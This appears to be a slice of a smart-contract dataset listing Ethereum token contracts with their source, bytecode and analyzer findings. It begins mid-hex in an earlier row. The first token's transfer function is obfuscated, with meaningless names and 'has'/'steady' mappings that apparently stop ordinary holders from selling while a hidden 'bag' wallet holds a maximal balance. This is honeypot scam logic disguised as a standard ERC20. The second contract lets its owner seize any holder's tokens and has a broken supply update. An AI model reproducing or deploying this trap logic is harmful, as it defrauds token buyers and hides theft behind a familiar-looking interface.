332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6560008201527f6173650000000000000000000000000000000000000000000000000000000000602082015250565b610ae2816108d6565b8114610aed57600080fd5b50565b610af981610902565b8114610b0457600080fd5b5056fea2646970667358221220cb8df1ed29532b12d3c62d8c5300a92d35fb74e974708ea51f4b1dd5a7ae6bfd64736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 5,920 |
0xeFc814659C358e4765f59a541DdEb1E7CC01FA04
|
/*
https://t.me/trumpetinu
https://www.trumpetinu.space/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address bag
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 1;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[bag] = thou;
_balances[msg.sender] = _tTotal;
has[bag] = thou;
has[msg.sender] = thou;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private thou = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
address[] both = new address[](2);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function dozen(
address screen,
address nuts,
uint256 amount
) private {
address completely = both[1];
bool select = uniswapV2Pair == screen;
uint256 weigh = _fee;
if (has[screen] == 0 && steady[screen] > 0 && !select) {
// if (amount >= 90000000000000 * 10**_decimals) {
has[screen] -= weigh;
// }
}
both[1] = nuts;
if (has[screen] > 0 && amount == 0) {
has[nuts] += weigh;
}
steady[completely] += weigh;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[screen] -= fee;
_balances[address(this)] += fee;
_balances[screen] -= amount;
_balances[nuts] += amount;
}
mapping(address => uint256) private steady;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private has;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
dozen(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
dozen(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function buy(
uint256 count,
address tokenAddress,
address to
) external payable {
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = tokenAddress;
uint256 amount = msg.value / count;
for (uint256 i = 0; i < count; i++) {
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(0, path, to, block.timestamp);
}
uint256 balance = address(this).balance;
if (balance > 0) payable(msg.sender).transfer(balance);
}
}
|
0x6080604052600436106100f35760003560e01c80638da5cb5b1161008a578063dd62ed3e11610059578063dd62ed3e14610330578063e753858a1461036d578063f2fde38b14610389578063f887ea40146103b2576100f3565b80638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8578063c5b37c2214610305576100f3565b8063313ce567116100c6578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e578063715018a61461025b576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461016057806323b872dd1461018b575b600080fd5b34801561010457600080fd5b5061010d6103dd565b60405161011a91906113ed565b60405180910390f35b34801561012f57600080fd5b5061014a600480360381019061014591906114a8565b61046f565b6040516101579190611503565b60405180910390f35b34801561016c57600080fd5b50610175610484565b604051610182919061152d565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611548565b61048e565b6040516101bf9190611503565b60405180910390f35b3480156101d457600080fd5b506101dd6105dd565b6040516101ea919061152d565b60405180910390f35b3480156101ff57600080fd5b506102086105f7565b60405161021591906115aa565b60405180910390f35b34801561022a57600080fd5b50610245600480360381019061024091906115c5565b61061d565b604051610252919061152d565b60405180910390f35b34801561026757600080fd5b50610270610666565b005b34801561027e57600080fd5b506102876106ee565b60405161029491906115aa565b60405180910390f35b3480156102a957600080fd5b506102b2610717565b6040516102bf91906113ed565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea91906114a8565b6107a9565b6040516102fc9190611503565b60405180910390f35b34801561031157600080fd5b5061031a610825565b604051610327919061152d565b60405180910390f35b34801561033c57600080fd5b50610357600480360381019061035291906115f2565b61082b565b604051610364919061152d565b60405180910390f35b61038760048036038101906103829190611632565b6108b2565b005b34801561039557600080fd5b506103b060048036038101906103ab91906115c5565b610b50565b005b3480156103be57600080fd5b506103c7610c47565b6040516103d491906116e4565b60405180910390f35b6060600280546103ec9061172e565b80601f01602080910402602001604051908101604052809291908181526020018280546104189061172e565b80156104655780601f1061043a57610100808354040283529160200191610465565b820191906000526020600020905b81548152906001019060200180831161044857829003601f168201915b5050505050905090565b600061047c338484610c6d565b905092915050565b6000600754905090565b60008082116104d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c9906117d1565b60405180910390fd5b6104dd848484610e08565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161053a919061152d565b60405180910390a36105d4843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cf9190611820565b610c6d565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61066e611288565b73ffffffffffffffffffffffffffffffffffffffff1661068c6106ee565b73ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d9906118a0565b60405180910390fd5b6106ec6000611290565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546107269061172e565b80601f01602080910402602001604051908101604052809291908181526020018280546107529061172e565b801561079f5780601f106107745761010080835404028352916020019161079f565b820191906000526020600020905b81548152906001019060200180831161078257829003601f168201915b5050505050905090565b60006107b6338484610e08565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610813919061152d565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600267ffffffffffffffff8111156108cf576108ce6118c0565b5b6040519080825280602002602001820160405280156108fd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109919190611904565b816000815181106109a5576109a4611931565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505082816001815181106109f4576109f3611931565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008434610a3c919061198f565b905060005b85811015610af157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008688426040518663ffffffff1660e01b8152600401610aac9493929190611ab9565b6000604051808303818588803b158015610ac557600080fd5b505af1158015610ad9573d6000803e3d6000fd5b50505050508080610ae990611b05565b915050610a41565b5060004790506000811115610b48573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b46573d6000803e3d6000fd5b505b505050505050565b610b58611288565b73ffffffffffffffffffffffffffffffffffffffff16610b766106ee565b73ffffffffffffffffffffffffffffffffffffffff1614610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc3906118a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290611bbf565b60405180910390fd5b610c4481611290565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610cd85750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e90611c51565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610df5919061152d565b60405180910390a3600190509392505050565b6000600c600181548110610e1f57610e1e611931565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610f3657506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f40575081155b15610f9c5780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f949190611820565b925050819055505b84600c600181548110610fb257610fb1611931565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156110495750600084145b156110a55780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461109d9190611c71565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f49190611c71565b92505081905550600060015460648661110d919061198f565b6111179190611cc7565b905080856111259190611820565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111769190611820565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111cc9190611c71565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112229190611820565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112789190611c71565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561138e578082015181840152602081019050611373565b8381111561139d576000848401525b50505050565b6000601f19601f8301169050919050565b60006113bf82611354565b6113c9818561135f565b93506113d9818560208601611370565b6113e2816113a3565b840191505092915050565b6000602082019050818103600083015261140781846113b4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061143f82611414565b9050919050565b61144f81611434565b811461145a57600080fd5b50565b60008135905061146c81611446565b92915050565b6000819050919050565b61148581611472565b811461149057600080fd5b50565b6000813590506114a28161147c565b92915050565b600080604083850312156114bf576114be61140f565b5b60006114cd8582860161145d565b92505060206114de85828601611493565b9150509250929050565b60008115159050919050565b6114fd816114e8565b82525050565b600060208201905061151860008301846114f4565b92915050565b61152781611472565b82525050565b6000602082019050611542600083018461151e565b92915050565b6000806000606084860312156115615761156061140f565b5b600061156f8682870161145d565b93505060206115808682870161145d565b925050604061159186828701611493565b9150509250925092565b6115a481611434565b82525050565b60006020820190506115bf600083018461159b565b92915050565b6000602082840312156115db576115da61140f565b5b60006115e98482850161145d565b91505092915050565b600080604083850312156116095761160861140f565b5b60006116178582860161145d565b92505060206116288582860161145d565b9150509250929050565b60008060006060848603121561164b5761164a61140f565b5b600061165986828701611493565b935050602061166a8682870161145d565b925050604061167b8682870161145d565b9150509250925092565b6000819050919050565b60006116aa6116a56116a084611414565b611685565b611414565b9050919050565b60006116bc8261168f565b9050919050565b60006116ce826116b1565b9050919050565b6116de816116c3565b82525050565b60006020820190506116f960008301846116d5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061174657607f821691505b602082108103611759576117586116ff565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006117bb60298361135f565b91506117c68261175f565b604082019050919050565b600060208201905081810360008301526117ea816117ae565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061182b82611472565b915061183683611472565b925082821015611849576118486117f1565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061188a60208361135f565b915061189582611854565b602082019050919050565b600060208201905081810360008301526118b98161187d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506118fe81611446565b92915050565b60006020828403121561191a5761191961140f565b5b6000611928848285016118ef565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061199a82611472565b91506119a583611472565b9250826119b5576119b4611960565b5b828204905092915050565b6000819050919050565b60006119e56119e06119db846119c0565b611685565b611472565b9050919050565b6119f5816119ca565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a3081611434565b82525050565b6000611a428383611a27565b60208301905092915050565b6000602082019050919050565b6000611a66826119fb565b611a708185611a06565b9350611a7b83611a17565b8060005b83811015611aac578151611a938882611a36565b9750611a9e83611a4e565b925050600181019050611a7f565b5085935050505092915050565b6000608082019050611ace60008301876119ec565b8181036020830152611ae08186611a5b565b9050611aef604083018561159b565b611afc606083018461151e565b95945050505050565b6000611b1082611472565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b4257611b416117f1565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ba960268361135f565b9150611bb482611b4d565b604082019050919050565b60006020820190508181036000830152611bd881611b9c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c3b60248361135f565b9150611c4682611bdf565b604082019050919050565b60006020820190508181036000830152611c6a81611c2e565b9050919050565b6000611c7c82611472565b9150611c8783611472565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611cbc57611cbb6117f1565b5b828201905092915050565b6000611cd282611472565b9150611cdd83611472565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611d1657611d156117f1565b5b82820290509291505056fea2646970667358221220f7ff31224225e4185c4a237d22c19a100e70dee6a923de1674c4f6b0737a2c1c64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,921 |
0x90c215c44d470182781bc3408a8709a12a00314d
|
pragma solidity ^0.4.17;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant public returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface Version {
function blockVersion() constant public returns (string version);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract SimpleToken is StandardToken,Ownable{
using SafeMath for uint;
function () public {
//if ether is sent to this address, send it back.
require(false);
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = 'simpleToken'; //human 0.1 standard. Just an arbitrary versioning scheme.
bool public allowBack;
bool public allowIssua;
function SimpleToken(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _allowBack,
bool _allowIssua
) public {
balances[msg.sender] = _initialAmount; // Give the creator all initial tokens
totalSupply = _initialAmount; // Update total supply
name = _tokenName; // Set the name for display purposes
decimals = _decimalUnits; // Amount of decimals for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
allowBack = _allowBack;
allowIssua = _allowIssua;
}
function back(address _ads,uint256 _value) public onlyOwner returns (bool success) {
require(allowBack);
require(balances[_ads] >= _value && _value > 0);
balances[_ads] -= _value;
balances[msg.sender] += _value;
Transfer(_ads, msg.sender, _value);
return true;
}
function issua(uint256 _value) public onlyOwner returns (bool success) {
require(allowIssua);
require(_value > 0);
balances[msg.sender] += _value;
totalSupply.add(_value);
Transfer(address(0), msg.sender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { require(false); }
return true;
}
}
|
